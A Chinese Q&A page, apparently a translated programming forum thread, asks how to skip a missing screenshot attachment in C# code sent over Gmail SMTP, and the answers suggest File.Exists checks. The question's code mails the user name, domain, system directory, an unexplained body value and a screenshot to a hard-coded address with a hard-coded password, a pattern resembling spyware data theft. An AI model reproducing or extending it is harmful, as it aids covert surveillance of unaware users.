发送没有附件的电子邮件

本文关键字:电子邮件 | 更新日期: 2023-09-27 17:50:47

我有一个问题,我知道如何发送电子邮件与附件,但我想知道,如果我没有截图。png然后我想发送它没有附件我的代码在

string email = "hammadptc93@gmail.com";
string pass = "mypassword";
NetworkCredential loginInfo = new NetworkCredential(email, pass);
MailMessage msg = new MailMessage();
SmtpClient smtpClient = new SmtpClient("smtp.gmail.com", 587);
msg.From = new MailAddress(email);
msg.To.Add(new MailAddress("hammadptc93@gmail.com"));
msg.Body = value;
msg.Subject = Environment.UserName +"   " + 
              Environment.UserDomainName +"    "+ Environment.SystemDirectory ;
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("screenshot.png");
msg.Attachments.Add(attachment);
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = loginInfo;
smtpClient.SendAsync(msg, "hammad");

发送没有附件的电子邮件

仅仅检查文件是否存在就足够了。

if(File.Exists("screenshot.png"))
{
   System.Net.Mail.Attachment attachment;
   attachment = new System.Net.Mail.Attachment("screenshot.png");
   msg.Attachments.Add(attachment);
}

使用File.Exists方法检查是否有附件。如果File.Exists返回false,则从以下行中移出一步(将它们包装在If语句中)

    System.Net.Mail.Attachment attachment;
    attachment = new System.Net.Mail.Attachment("screenshot.png");
    msg.Attachments.Add(attachment);

希望能有所帮助